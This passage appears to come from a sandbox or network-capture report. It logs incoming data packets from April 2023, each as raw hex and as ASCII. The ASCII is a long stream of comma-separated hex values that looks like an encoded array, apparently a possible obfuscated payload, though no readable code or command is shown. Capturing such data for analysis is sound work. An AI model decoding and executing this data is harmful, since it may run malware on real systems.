2023-04-20 23:05:13 UTC	14701	IN	Data Raw: 37 2c 63 65 2c 31 31 63 2c 31 33 38 2c 64 30 2c 31 34 30 2c 31 33 65 2c 36 36 2c 36 30 2c 66 37 2c 39 37 2c 31 30 38 2c 65 62 2c 35 33 2c 31 30 37 2c 66 31 2c 63 33 2c 65 30 2c 31 32 37 2c 66 36 2c 62 37 2c 36 32 2c 31 34 65 2c 31 33 64 2c 31 35 32 2c 63 62 2c 39 37 2c 31 30 64 2c 61 61 2c 61 32 2c 37 63 2c 64 37 2c 31 32 30 2c 38 33 2c 34 39 2c 31 34 32 2c 64 30 2c 38 66 2c 31 33 66 2c 31 34 65 2c 31 32 32 2c 31 31 34 2c 62 36 2c 65 65 2c 64 34 2c 31 31 64 2c 66 63 2c 31 31 35 2c 61 65 2c 36 38 2c 64 61 2c 62 36 2c 62 39 2c 63 34 2c 35 61 2c 38 38 2c 62 64 2c 31 32 39 2c 34 65 2c 65 33 2c 33 39 2c 31 32 34 2c 39 36 2c 63 65 2c 31 35 34 2c 31 30 61 2c 38 39 2c 31 33 62 2c 31 31 32 2c 31 35 39 2c 31 36 66 2c 31 30 65 2c 36 33 2c 36 39 2c 61 61 2c 31 32 39 Data Ascii: 7,ce,11c,138,d0,140,13e,66,60,f7,97,108,eb,53,107,f1,c3,e0,127,f6,b7,62,14e,13d,152,cb,97,10d,aa,a2,7c,d7,120,83,49,142,d0,8f,13f,14e,122,114,b6,ee,d4,11d,fc,115,ae,68,da,b6,b9,c4,5a,88,bd,129,4e,e3,39,124,96,ce,154,10a,89,13b,112,159,16f,10e,63,69,aa,129
2023-04-20 23:05:13 UTC	14717	IN	Data Raw: 62 2c 61 38 2c 31 32 34 2c 31 35 36 2c 39 31 2c 39 36 2c 65 33 2c 35 33 2c 38 31 2c 37 63 2c 61 30 2c 38 36 2c 63 65 2c 34 66 2c 39 62 2c 31 35 33 2c 31 30 31 2c 31 34 62 2c 31 32 34 2c 37 66 2c 31 34 37 2c 36 38 2c 38 64 2c 31 34 64 2c 64 33 2c 62 38 2c 31 32 38 2c 31 31 38 2c 31 30 64 2c 34 66 2c 62 30 2c 31 36 61 2c 36 36 2c 31 31 33 2c 66 64 2c 31 32 39 2c 66 33 2c 31 30 33 2c 31 31 32 2c 31 30 38 2c 31 31 35 2c 64 66 2c 39 62 2c 61 35 2c 31 31 34 2c 63 36 2c 66 62 2c 31 30 63 2c 31 31 37 2c 31 31 36 2c 31 31 64 2c 36 65 2c 31 30 33 2c 31 32 31 2c 31 32 32 2c 61 34 2c 62 63 2c 31 31 63 2c 36 34 2c 31 35 62 2c 31 33 31 2c 31 31 36 2c 66 33 2c 65 34 2c 39 63 2c 63 33 2c 31 34 33 2c 39 38 2c 31 30 39 2c 31 30 66 2c 61 31 2c 31 33 33 2c 36 36 2c 62 61 2c Data Ascii: b,a8,124,156,91,96,e3,53,81,7c,a0,86,ce,4f,9b,153,101,14b,124,7f,147,68,8d,14d,d3,b8,128,118,10d,4f,b0,16a,66,113,fd,129,f3,103,112,108,115,df,9b,a5,114,c6,fb,10c,117,116,11d,6e,103,121,122,a4,bc,11c,64,15b,131,116,f3,e4,9c,c3,143,98,109,10f,a1,133,66,ba,
2023-04-20 23:05:13 UTC	14733	IN	Data Raw: 2c 66 35 2c 31 34 37 2c 31 33 38 2c 36 63 2c 31 32 64 2c 63 63 2c 61 32 2c 62 33 2c 38 65 2c 31 33 30 2c 64 62 2c 65 37 2c 63 31 2c 36 64 2c 31 34 62 2c 31 30 36 2c 64 37 2c 63 37 2c 35 65 2c 31 30 33 2c 31 30 39 2c 31 33 30 2c 64 38 2c 38 61 2c 39 39 2c 31 33 31 2c 31 30 35 2c 64 63 2c 61 61 2c 31 32 39 2c 39 63 2c 37 38 2c 31 31 35 2c 62 61 2c 65 66 2c 31 30 36 2c 66 33 2c 62 64 2c 31 30 61 2c 65 66 2c 31 35 35 2c 38 66 2c 31 30 61 2c 31 31 30 2c 31 33 63 2c 39 63 2c 35 63 2c 36 37 2c 66 64 2c 31 32 64 2c 37 39 2c 62 65 2c 31 31 62 2c 31 32 33 2c 66 62 2c 31 31 66 2c 31 35 63 2c 66 38 2c 31 35 63 2c 33 64 2c 35 37 2c 31 31 34 2c 65 35 2c 62 39 2c 31 31 33 2c 31 35 31 2c 35 34 2c 62 61 2c 64 32 2c 35 36 2c 31 30 61 2c 31 34 61 2c 31 32 63 2c 38 33 2c 63 Data Ascii: ,f5,147,138,6c,12d,cc,a2,b3,8e,130,db,e7,c1,6d,14b,106,d7,c7,5e,103,109,130,d8,8a,99,131,105,dc,aa,129,9c,78,115,ba,ef,106,f3,bd,10a,ef,155,8f,10a,110,13c,9c,5c,67,fd,12d,79,be,11b,123,fb,11f,15c,f8,15c,3d,57,114,e5,b9,113,151,54,ba,d2,56,10a,14a,12c,83,c
2023-04-20 23:05:13 UTC	14749	IN	Data Raw: 2c 64 61 2c 65 66 2c 36 63 2c 31 34 35 2c 39 63 2c 38 66 2c 36 38 2c 31 33 62 2c 36 39 2c 62 38 2c 31 30 35 2c 31 33 34 2c 63 63 2c 31 35 31 2c 36 64 2c 63 30 2c 31 32 66 2c 31 32 66 2c 62 62 2c 61 35 2c 31 32 37 2c 37 31 2c 31 33 61 2c 31 31 34 2c 64 34 2c 62 31 2c 63 37 2c 63 35 2c 63 37 2c 62 63 2c 31 34 35 2c 61 39 2c 31 36 63 2c 31 35 37 2c 37 31 2c 36 34 2c 31 33 30 2c 65 36 2c 62 65 2c 64 38 2c 61 66 2c 31 34 35 2c 39 62 2c 31 33 33 2c 36 32 2c 31 33 37 2c 62 61 2c 39 31 2c 38 34 2c 61 64 2c 31 36 35 2c 31 31 61 2c 62 31 2c 35 63 2c 31 30 32 2c 61 36 2c 31 33 33 2c 37 62 2c 31 32 38 2c 39 34 2c 62 35 2c 62 32 2c 38 63 2c 63 33 2c 31 36 61 2c 66 33 2c 31 35 34 2c 31 34 37 2c 31 31 66 2c 61 32 2c 31 32 33 2c 31 33 39 2c 36 65 2c 38 31 2c 31 33 65 2c Data Ascii: ,da,ef,6c,145,9c,8f,68,13b,69,b8,105,134,cc,151,6d,c0,12f,12f,bb,a5,127,71,13a,114,d4,b1,c7,c5,c7,bc,145,a9,16c,157,71,64,130,e6,be,d8,af,145,9b,133,62,137,ba,91,84,ad,165,11a,b1,5c,102,a6,133,7b,128,94,b5,b2,8c,c3,16a,f3,154,147,11f,a2,123,139,6e,81,13e,
2023-04-20 23:05:13 UTC	14765	IN	Data Raw: 37 38 2c 31 35 63 2c 66 33 2c 31 37 31 2c 31 32 34 2c 31 32 34 2c 35 61 2c 39 39 2c 39 65 2c 31 34 64 2c 31 34 31 2c 34 34 2c 31 36 34 2c 66 38 2c 34 62 2c 31 34 32 2c 31 32 32 2c 62 65 2c 65 61 2c 37 62 2c 38 37 2c 63 63 2c 64 33 2c 66 38 2c 31 32 61 2c 35 65 2c 35 32 2c 31 32 61 2c 35 61 2c 62 30 2c 31 33 62 2c 31 34 32 2c 31 32 65 2c 65 37 2c 66 31 2c 37 63 2c 37 39 2c 65 38 2c 65 33 2c 61 33 2c 64 35 2c 31 31 33 2c 31 32 33 2c 34 37 2c 37 37 2c 62 33 2c 38 34 2c 63 35 2c 38 66 2c 31 34 65 2c 31 31 37 2c 34 65 2c 39 30 2c 66 65 2c 66 34 2c 31 35 30 2c 31 34 61 2c 65 34 2c 38 30 2c 31 30 39 2c 37 32 2c 34 32 2c 31 32 34 2c 38 61 2c 31 34 34 2c 31 34 30 2c 31 32 37 2c 31 34 36 2c 36 38 2c 64 33 2c 31 34 66 2c 31 30 62 2c 64 31 2c 63 39 2c 35 31 2c 62 38 Data Ascii: 78,15c,f3,171,124,124,5a,99,9e,14d,141,44,164,f8,4b,142,122,be,ea,7b,87,cc,d3,f8,12a,5e,52,12a,5a,b0,13b,142,12e,e7,f1,7c,79,e8,e3,a3,d5,113,123,47,77,b3,84,c5,8f,14e,117,4e,90,fe,f4,150,14a,e4,80,109,72,42,124,8a,144,140,127,146,68,d3,14f,10b,d1,c9,51,b8
2023-04-20 23:05:13 UTC	14781	IN	Data Raw: 64 2c 64 64 2c 65 35 2c 31 30 64 2c 65 61 2c 31 34 61 2c 66 64 2c 63 37 2c 62 35 2c 31 34 65 2c 61 62 2c 35 62 2c 63 38 2c 36 63 2c 31 34 39 2c 66 33 2c 31 33 34 2c 65 36 2c 62 64 2c 35 35 2c 31 30 35 2c 38 31 2c 31 34 34 2c 34 66 2c 66 34 2c 65 34 2c 38 66 2c 35 35 2c 65 65 2c 61 32 2c 31 30 31 2c 37 39 2c 66 65 2c 64 64 2c 37 31 2c 31 36 66 2c 38 63 2c 63 33 2c 31 32 37 2c 62 37 2c 38 34 2c 38 38 2c 64 62 2c 31 34 65 2c 31 32 61 2c 63 38 2c 37 30 2c 31 32 63 2c 66 65 2c 39 66 2c 33 64 2c 64 63 2c 63 37 2c 31 34 39 2c 31 33 30 2c 36 33 2c 38 35 2c 31 34 31 2c 33 38 2c 31 32 32 2c 37 32 2c 31 30 37 2c 31 32 38 2c 31 31 65 2c 35 32 2c 65 31 2c 63 31 2c 31 37 33 2c 37 62 2c 39 35 2c 36 32 2c 64 65 2c 62 65 2c 31 32 64 2c 64 64 2c 35 61 2c 31 32 36 2c 31 35 Data Ascii: d,dd,e5,10d,ea,14a,fd,c7,b5,14e,ab,5b,c8,6c,149,f3,134,e6,bd,55,105,81,144,4f,f4,e4,8f,55,ee,a2,101,79,fe,dd,71,16f,8c,c3,127,b7,84,88,db,14e,12a,c8,70,12c,fe,9f,3d,dc,c7,149,130,63,85,141,38,122,72,107,128,11e,52,e1,c1,173,7b,95,62,de,be,12d,dd,5a,126,15
2023-04-20 23:05:14 UTC	14797	IN	Data Raw: 2c 31 34 66 2c 31 32 37 2c 31 34 66 2c 31 30 62 2c 65 61 2c 39 31 2c 66 63 2c 31 33 62 2c 37 31 2c 38 61 2c 39 31 2c 39 65 2c 38 62 2c 62 30 2c 35 33 2c 35 34 2c 31 35 66 2c 31 31 30 2c 37 65 2c 31 33 32 2c 31 35 38 2c 31 33 31 2c 38 39 2c 66 31 2c 31 34 64 2c 37 36 2c 39 36 2c 31 32 32 2c 36 38 2c 65 39 2c 66 30 2c 31 30 36 2c 31 35 32 2c 31 31 36 2c 65 64 2c 65 33 2c 37 64 2c 38 62 2c 36 65 2c 64 36 2c 31 32 31 2c 38 66 2c 31 30 32 2c 65 64 2c 31 36 36 2c 64 38 2c 31 31 61 2c 36 31 2c 62 37 2c 35 32 2c 66 38 2c 35 61 2c 31 30 32 2c 64 39 2c 31 32 35 2c 65 65 2c 31 33 38 2c 31 31 36 2c 63 38 2c 63 64 2c 35 66 2c 31 31 65 2c 31 31 36 2c 63 63 2c 65 34 2c 36 65 2c 36 30 2c 65 62 2c 63 39 2c 31 34 61 2c 66 37 2c 31 34 30 2c 31 36 33 2c 66 30 2c 35 35 2c 31 Data Ascii: ,14f,127,14f,10b,ea,91,fc,13b,71,8a,91,9e,8b,b0,53,54,15f,110,7e,132,158,131,89,f1,14d,76,96,122,68,e9,f0,106,152,116,ed,e3,7d,8b,6e,d6,121,8f,102,ed,166,d8,11a,61,b7,52,f8,5a,102,d9,125,ee,138,116,c8,cd,5f,11e,116,cc,e4,6e,60,eb,c9,14a,f7,140,163,f0,55,1
2023-04-20 23:05:14 UTC	14813	IN	Data Raw: 31 30 33 2c 31 30 63 2c 61 33 2c 38 32 2c 31 30 37 2c 36 32 2c 66 35 2c 64 33 2c 31 35 65 2c 31 32 63 2c 37 38 2c 36 34 2c 61 35 2c 38 30 2c 31 30 62 2c 31 34 33 2c 37 34 2c 35 38 2c 35 62 2c 65 36 2c 36 64 2c 38 61 2c 31 36 32 2c 31 31 66 2c 31 30 36 2c 37 30 2c 31 30 65 2c 65 36 2c 38 35 2c 31 31 35 2c 31 31 36 2c 31 35 65 2c 65 37 2c 39 39 2c 31 30 37 2c 63 65 2c 35 66 2c 63 63 2c 31 33 61 2c 31 33 64 2c 37 35 2c 37 32 2c 62 34 2c 31 30 39 2c 31 33 33 2c 38 65 2c 65 37 2c 31 31 36 2c 36 30 2c 31 31 39 2c 34 39 2c 31 33 36 2c 64 64 2c 31 31 63 2c 65 38 2c 65 33 2c 64 38 2c 64 62 2c 31 30 63 2c 31 31 64 2c 39 36 2c 65 33 2c 65 30 2c 31 34 38 2c 66 33 2c 38 30 2c 66 35 2c 31 36 63 2c 63 63 2c 66 31 2c 65 31 2c 66 36 2c 39 36 2c 31 33 61 2c 65 61 2c 61 31 Data Ascii: 103,10c,a3,82,107,62,f5,d3,15e,12c,78,64,a5,80,10b,143,74,58,5b,e6,6d,8a,162,11f,106,70,10e,e6,85,115,116,15e,e7,99,107,ce,5f,cc,13a,13d,75,72,b4,109,133,8e,e7,116,60,119,49,136,dd,11c,e8,e3,d8,db,10c,11d,96,e3,e0,148,f3,80,f5,16c,cc,f1,e1,f6,96,13a,ea,a1
2023-04-20 23:05:14 UTC	14829	IN	Data Raw: 2c 66 61 2c 31 33 66 2c 62 32 2c 31 30 34 2c 31 32 31 2c 66 36 2c 66 65 2c 31 34 32 2c 34 30 2c 38 32 2c 66 35 2c 39 35 2c 36 39 2c 31 33 32 2c 31 30 31 2c 31 34 32 2c 31 30 39 2c 31 30 34 2c 65 62 2c 39 33 2c 61 36 2c 38 37 2c 31 31 38 2c 31 32 65 2c 65 64 2c 63 66 2c 63 38 2c 64 33 2c 61 62 2c 31 31 34 2c 63 61 2c 66 66 2c 31 30 34 2c 64 37 2c 33 66 2c 37 61 2c 61 37 2c 31 31 32 2c 63 65 2c 36 35 2c 65 32 2c 31 33 61 2c 64 37 2c 62 31 2c 62 63 2c 31 34 33 2c 31 35 38 2c 37 35 2c 31 30 33 2c 35 33 2c 64 36 2c 31 36 36 2c 62 37 2c 65 64 2c 36 62 2c 38 35 2c 66 62 2c 31 32 65 2c 31 33 61 2c 35 66 2c 31 34 63 2c 31 31 36 2c 63 63 2c 65 66 2c 31 34 61 2c 66 35 2c 62 61 2c 62 63 2c 31 32 65 2c 31 33 38 2c 37 33 2c 36 62 2c 31 30 30 2c 31 33 30 2c 31 31 35 2c Data Ascii: ,fa,13f,b2,104,121,f6,fe,142,40,82,f5,95,69,132,101,142,109,104,eb,93,a6,87,118,12e,ed,cf,c8,d3,ab,114,ca,ff,104,d7,3f,7a,a7,112,ce,65,e2,13a,d7,b1,bc,143,158,75,103,53,d6,166,b7,ed,6b,85,fb,12e,13a,5f,14c,116,cc,ef,14a,f5,ba,bc,12e,138,73,6b,100,130,115,
2023-04-20 23:05:14 UTC	14845	IN	Data Raw: 2c 39 33 2c 63 31 2c 64 62 2c 31 34 33 2c 66 31 2c 31 33 64 2c 31 34 39 2c 61 30 2c 65 33 2c 37 31 2c 37 36 2c 61 35 2c 36 62 2c 38 30 2c 31 36 32 2c 31 30 62 2c 36 34 2c 31 34 31 2c 61 38 2c 31 30 31 2c 62 36 2c 38 66 2c 62 37 2c 66 33 2c 38 35 2c 65 36 2c 31 33 62 2c 62 34 2c 37 38 2c 33 66 2c 61 63 2c 31 31 34 2c 61 65 2c 64 31 2c 63 37 2c 61 34 2c 39 37 2c 66 33 2c 31 31 33 2c 35 65 2c 31 33 63 2c 31 32 35 2c 31 34 66 2c 63 35 2c 31 30 30 2c 31 30 66 2c 31 36 30 2c 31 30 66 2c 31 30 63 2c 31 32 39 2c 65 39 2c 31 31 64 2c 31 33 32 2c 39 65 2c 31 34 33 2c 37 39 2c 64 37 2c 31 34 63 2c 31 32 62 2c 31 30 31 2c 64 34 2c 64 33 2c 31 34 32 2c 61 66 2c 31 34 32 2c 31 33 66 2c 66 38 2c 63 39 2c 36 31 2c 31 35 31 2c 31 33 38 2c 37 63 2c 64 37 2c 31 31 38 2c 37 Data Ascii: ,93,c1,db,143,f1,13d,149,a0,e3,71,76,a5,6b,80,162,10b,64,141,a8,101,b6,8f,b7,f3,85,e6,13b,b4,78,3f,ac,114,ae,d1,c7,a4,97,f3,113,5e,13c,125,14f,c5,100,10f,160,10f,10c,129,e9,11d,132,9e,143,79,d7,14c,12b,101,d4,d3,142,af,142,13f,f8,c9,61,151,138,7c,d7,118,7
2023-04-20 23:05:14 UTC	14861	IN	Data Raw: 38 32 2c 39 37 2c 31 31 61 2c 31 32 32 2c 61 30 2c 31 34 35 2c 31 32 61 2c 64 66 2c 31 30 36 2c 31 35 66 2c 62 61 2c 65 30 2c 36 34 2c 31 34 61 2c 66 65 2c 35 35 2c 62 30 2c 31 32 62 2c 39 38 2c 31 32 36 2c 36 61 2c 31 31 36 2c 31 33 38 2c 36 64 2c 34 31 2c 38 38 2c 31 33 33 2c 31 32 61 2c 31 32 32 2c 31 34 36 2c 31 30 32 2c 31 30 34 2c 31 32 36 2c 31 31 34 2c 37 34 2c 65 33 2c 31 35 37 2c 64 36 2c 63 62 2c 63 32 2c 39 30 2c 31 31 65 2c 37 66 2c 31 31 30 2c 66 62 2c 38 33 2c 31 32 30 2c 36 37 2c 65 65 2c 31 31 66 2c 31 33 35 2c 31 33 66 2c 31 30 62 2c 61 30 2c 36 37 2c 39 34 2c 66 66 2c 31 33 31 2c 66 63 2c 38 63 2c 38 35 2c 31 30 33 2c 31 31 39 2c 64 39 2c 66 35 2c 36 32 2c 61 31 2c 31 34 37 2c 65 33 2c 31 36 34 2c 31 31 39 2c 36 63 2c 31 35 36 2c 31 33 Data Ascii: 82,97,11a,122,a0,145,12a,df,106,15f,ba,e0,64,14a,fe,55,b0,12b,98,126,6a,116,138,6d,41,88,133,12a,122,146,102,104,126,114,74,e3,157,d6,cb,c2,90,11e,7f,110,fb,83,120,67,ee,11f,135,13f,10b,a0,67,94,ff,131,fc,8c,85,103,119,d9,f5,62,a1,147,e3,164,119,6c,156,13
2023-04-20 23:05:14 UTC	14877	IN	Data Raw: 39 2c 39 39 2c 61 38 2c 66 66 2c 31 35 35 2c 36 64 2c 62 36 2c 31 35 62 2c 65 34 2c 31 33 61 2c 31 30 66 2c 31 30 33 2c 31 32 33 2c 38 37 2c 31 30 39 2c 61 35 2c 63 61 2c 31 34 33 2c 66 65 2c 31 34 31 2c 31 33 38 2c 63 62 2c 31 34 33 2c 61 64 2c 64 66 2c 64 39 2c 66 62 2c 64 32 2c 39 36 2c 63 31 2c 37 36 2c 61 38 2c 63 64 2c 31 32 34 2c 39 36 2c 35 34 2c 31 30 61 2c 31 30 64 2c 63 66 2c 65 35 2c 64 65 2c 31 30 36 2c 64 30 2c 37 65 2c 39 65 2c 65 30 2c 31 32 36 2c 63 65 2c 31 31 37 2c 64 39 2c 31 30 65 2c 63 63 2c 31 30 65 2c 31 34 39 2c 31 31 31 2c 66 34 2c 31 34 37 2c 31 32 61 2c 65 61 2c 36 39 2c 31 32 62 2c 65 63 2c 31 31 64 2c 31 31 37 2c 31 30 38 2c 31 35 66 2c 35 38 2c 38 39 2c 65 32 2c 31 33 34 2c 62 63 2c 31 33 65 2c 31 32 39 2c 31 34 62 2c 64 32 Data Ascii: 9,99,a8,ff,155,6d,b6,15b,e4,13a,10f,103,123,87,109,a5,ca,143,fe,141,138,cb,143,ad,df,d9,fb,d2,96,c1,76,a8,cd,124,96,54,10a,10d,cf,e5,de,106,d0,7e,9e,e0,126,ce,117,d9,10e,cc,10e,149,111,f4,147,12a,ea,69,12b,ec,11d,117,108,15f,58,89,e2,134,bc,13e,129,14b,d2
2023-04-20 23:05:14 UTC	14893	IN	Data Raw: 2c 63 33 2c 66 64 2c 66 65 2c 37 32 2c 62 35 2c 61 62 2c 31 34 64 2c 35 35 2c 62 64 2c 31 30 62 2c 35 62 2c 31 30 32 2c 38 37 2c 37 63 2c 63 65 2c 37 37 2c 31 31 36 2c 63 32 2c 39 39 2c 65 66 2c 66 63 2c 31 32 34 2c 37 66 2c 36 38 2c 31 30 65 2c 63 37 2c 61 39 2c 64 65 2c 31 34 32 2c 63 33 2c 61 37 2c 31 32 36 2c 63 34 2c 65 39 2c 61 65 2c 62 66 2c 63 65 2c 63 31 2c 66 63 2c 66 39 2c 31 31 31 2c 31 36 61 2c 64 61 2c 35 66 2c 65 61 2c 37 65 2c 61 31 2c 65 65 2c 34 66 2c 39 32 2c 39 61 2c 61 37 2c 38 30 2c 66 36 2c 31 32 37 2c 35 31 2c 36 32 2c 31 34 65 2c 31 30 65 2c 63 62 2c 31 30 39 2c 31 34 39 2c 37 63 2c 31 30 32 2c 63 32 2c 39 35 2c 35 63 2c 64 31 2c 65 30 2c 37 66 2c 65 65 2c 34 62 2c 65 34 2c 31 30 65 2c 36 66 2c 36 39 2c 31 32 66 2c 31 35 36 2c 31 Data Ascii: ,c3,fd,fe,72,b5,ab,14d,55,bd,10b,5b,102,87,7c,ce,77,116,c2,99,ef,fc,124,7f,68,10e,c7,a9,de,142,c3,a7,126,c4,e9,ae,bf,ce,c1,fc,f9,111,16a,da,5f,ea,7e,a1,ee,4f,92,9a,a7,80,f6,127,51,62,14e,10e,cb,109,149,7c,102,c2,95,5c,d1,e0,7f,ee,4b,e4,10e,6f,69,12f,156,1
2023-04-20 23:05:14 UTC	14909	IN	Data Raw: 64 2c 37 31 2c 37 66 2c 31 32 37 2c 63 63 2c 31 31 30 2c 61 32 2c 66 37 2c 35 63 2c 35 34 2c 61 33 2c 31 34 31 2c 62 32 2c 66 64 2c 31 30 63 2c 65 31 2c 31 31 34 2c 37 34 2c 39 66 2c 31 33 32 2c 65 62 2c 31 30 62 2c 66 38 2c 38 30 2c 38 35 2c 31 33 36 2c 64 61 2c 31 31 34 2c 31 31 65 2c 36 32 2c 31 32 39 2c 65 38 2c 63 32 2c 61 35 2c 39 65 2c 31 32 30 2c 31 31 63 2c 66 63 2c 64 34 2c 66 36 2c 62 64 2c 31 32 65 2c 65 38 2c 64 33 2c 62 65 2c 62 36 2c 36 34 2c 37 38 2c 31 32 37 2c 35 37 2c 66 62 2c 31 33 35 2c 39 38 2c 31 30 34 2c 31 31 62 2c 66 39 2c 31 30 62 2c 37 39 2c 62 38 2c 31 33 39 2c 37 35 2c 31 32 30 2c 65 32 2c 62 36 2c 66 39 2c 31 30 65 2c 31 34 37 2c 31 31 33 2c 31 34 38 2c 62 62 2c 38 32 2c 31 31 66 2c 62 38 2c 61 62 2c 31 30 61 2c 66 37 2c 36 Data Ascii: d,71,7f,127,cc,110,a2,f7,5c,54,a3,141,b2,fd,10c,e1,114,74,9f,132,eb,10b,f8,80,85,136,da,114,11e,62,129,e8,c2,a5,9e,120,11c,fc,d4,f6,bd,12e,e8,d3,be,b6,64,78,127,57,fb,135,98,104,11b,f9,10b,79,b8,139,75,120,e2,b6,f9,10e,147,113,148,bb,82,11f,b8,ab,10a,f7,6
2023-04-20 23:05:14 UTC	14925	IN	Data Raw: 2c 31 36 38 2c 35 36 2c 31 35 37 2c 38 61 2c 31 30 32 2c 31 33 37 2c 31 31 35 2c 31 32 61 2c 39 30 2c 31 32 32 2c 66 31 2c 31 33 30 2c 34 64 2c 66 33 2c 66 64 2c 31 30 38 2c 36 39 2c 64 65 2c 62 32 2c 31 32 30 2c 31 34 64 2c 39 34 2c 65 39 2c 37 31 2c 31 33 37 2c 31 31 34 2c 33 32 2c 31 34 34 2c 31 31 35 2c 61 37 2c 61 30 2c 65 65 2c 31 34 63 2c 31 30 38 2c 38 30 2c 31 31 61 2c 31 32 63 2c 39 33 2c 31 31 36 2c 66 32 2c 39 62 2c 38 64 2c 66 33 2c 31 32 37 2c 31 32 64 2c 61 62 2c 64 64 2c 31 30 37 2c 31 30 32 2c 31 33 31 2c 31 32 35 2c 31 34 38 2c 31 34 32 2c 31 36 36 2c 31 30 31 2c 31 34 65 2c 37 65 2c 62 65 2c 35 62 2c 31 32 66 2c 65 34 2c 31 31 31 2c 66 36 2c 36 39 2c 31 33 31 2c 35 64 2c 38 38 2c 39 37 2c 62 37 2c 64 37 2c 35 36 2c 31 36 38 2c 35 61 2c Data Ascii: ,168,56,157,8a,102,137,115,12a,90,122,f1,130,4d,f3,fd,108,69,de,b2,120,14d,94,e9,71,137,114,32,144,115,a7,a0,ee,14c,108,80,11a,12c,93,116,f2,9b,8d,f3,127,12d,ab,dd,107,102,131,125,148,142,166,101,14e,7e,be,5b,12f,e4,111,f6,69,131,5d,88,97,b7,d7,56,168,5a,
2023-04-20 23:05:14 UTC	14941	IN	Data Raw: 66 2c 31 31 66 2c 34 64 2c 65 34 2c 36 35 2c 31 33 37 2c 63 39 2c 31 31 63 2c 63 39 2c 37 32 2c 31 34 31 2c 62 65 2c 63 38 2c 63 65 2c 66 30 2c 61 62 2c 65 65 2c 64 37 2c 31 32 61 2c 31 30 39 2c 66 61 2c 61 36 2c 64 64 2c 31 31 31 2c 31 33 35 2c 31 31 33 2c 38 32 2c 31 31 30 2c 38 65 2c 66 34 2c 63 64 2c 34 33 2c 31 31 30 2c 37 66 2c 61 30 2c 31 30 31 2c 38 61 2c 31 31 33 2c 65 36 2c 65 35 2c 35 38 2c 66 32 2c 62 61 2c 31 32 30 2c 31 32 31 2c 65 32 2c 39 37 2c 31 31 30 2c 31 34 32 2c 64 32 2c 36 32 2c 39 65 2c 31 32 63 2c 31 32 32 2c 34 64 2c 65 66 2c 61 36 2c 65 64 2c 39 65 2c 31 32 36 2c 63 62 2c 31 32 62 2c 35 35 2c 62 36 2c 31 33 35 2c 38 63 2c 34 38 2c 31 30 34 2c 61 63 2c 31 31 32 2c 37 33 2c 39 61 2c 31 35 31 2c 31 33 35 2c 64 64 2c 65 33 2c 31 33 Data Ascii: f,11f,4d,e4,65,137,c9,11c,c9,72,141,be,c8,ce,f0,ab,ee,d7,12a,109,fa,a6,dd,111,135,113,82,110,8e,f4,cd,43,110,7f,a0,101,8a,113,e6,e5,58,f2,ba,120,121,e2,97,110,142,d2,62,9e,12c,122,4d,ef,a6,ed,9e,126,cb,12b,55,b6,135,8c,48,104,ac,112,73,9a,151,135,dd,e3,13
2023-04-20 23:05:14 UTC	14957	IN	Data Raw: 38 62 2c 31 31 66 2c 31 33 34 2c 39 64 2c 39 36 2c 31 30 30 2c 63 34 2c 63 62 2c 31 31 37 2c 66 38 2c 35 36 2c 64 38 2c 36 63 2c 65 38 2c 31 32 65 2c 61 39 2c 64 33 2c 39 32 2c 36 64 2c 31 34 36 2c 31 30 61 2c 64 62 2c 31 31 37 2c 36 64 2c 31 33 38 2c 61 32 2c 38 31 2c 31 32 31 2c 35 38 2c 66 63 2c 31 30 37 2c 63 37 2c 35 36 2c 31 33 33 2c 64 34 2c 31 34 38 2c 39 32 2c 66 30 2c 66 31 2c 64 33 2c 37 61 2c 63 63 2c 63 31 2c 31 31 35 2c 37 30 2c 35 33 2c 31 34 30 2c 61 65 2c 63 32 2c 64 63 2c 63 65 2c 31 36 34 2c 31 31 62 2c 31 34 33 2c 66 30 2c 63 63 2c 31 31 66 2c 61 64 2c 31 36 33 2c 65 30 2c 35 30 2c 31 30 63 2c 31 31 30 2c 31 30 66 2c 31 30 32 2c 38 32 2c 61 33 2c 62 65 2c 64 64 2c 64 37 2c 31 31 66 2c 37 34 2c 64 62 2c 31 30 65 2c 63 35 2c 31 31 34 2c Data Ascii: 8b,11f,134,9d,96,100,c4,cb,117,f8,56,d8,6c,e8,12e,a9,d3,92,6d,146,10a,db,117,6d,138,a2,81,121,58,fc,107,c7,56,133,d4,148,92,f0,f1,d3,7a,cc,c1,115,70,53,140,ae,c2,dc,ce,164,11b,143,f0,cc,11f,ad,163,e0,50,10c,110,10f,102,82,a3,be,dd,d7,11f,74,db,10e,c5,114,
2023-04-20 23:05:14 UTC	14973	IN	Data Raw: 31 32 66 2c 61 37 2c 31 34 65 2c 31 31 38 2c 66 30 2c 31 30 37 2c 31 32 32 2c 38 64 2c 31 34 36 2c 65 36 2c 35 36 2c 66 62 2c 37 36 2c 39 34 2c 31 31 62 2c 31 33 65 2c 38 63 2c 66 30 2c 31 32 38 2c 66 35 2c 31 34 31 2c 63 39 2c 38 65 2c 38 63 2c 62 64 2c 31 30 34 2c 31 33 64 2c 31 32 38 2c 62 38 2c 66 66 2c 31 33 65 2c 39 33 2c 64 37 2c 31 30 35 2c 31 32 32 2c 35 31 2c 31 35 32 2c 31 32 38 2c 37 64 2c 31 31 66 2c 64 38 2c 31 34 39 2c 64 37 2c 33 66 2c 35 36 2c 31 33 66 2c 61 31 2c 61 63 2c 31 36 32 2c 66 62 2c 34 35 2c 31 31 35 2c 65 36 2c 31 31 34 2c 66 62 2c 38 39 2c 63 31 2c 65 38 2c 61 32 2c 31 32 63 2c 38 66 2c 63 30 2c 65 38 2c 37 62 2c 61 31 2c 61 61 2c 36 63 2c 31 33 37 2c 39 37 2c 31 30 34 2c 62 33 2c 31 34 64 2c 39 38 2c 38 63 2c 31 31 38 2c 37 Data Ascii: 12f,a7,14e,118,f0,107,122,8d,146,e6,56,fb,76,94,11b,13e,8c,f0,128,f5,141,c9,8e,8c,bd,104,13d,128,b8,ff,13e,93,d7,105,122,51,152,128,7d,11f,d8,149,d7,3f,56,13f,a1,ac,162,fb,45,115,e6,114,fb,89,c1,e8,a2,12c,8f,c0,e8,7b,a1,aa,6c,137,97,104,b3,14d,98,8c,118,7
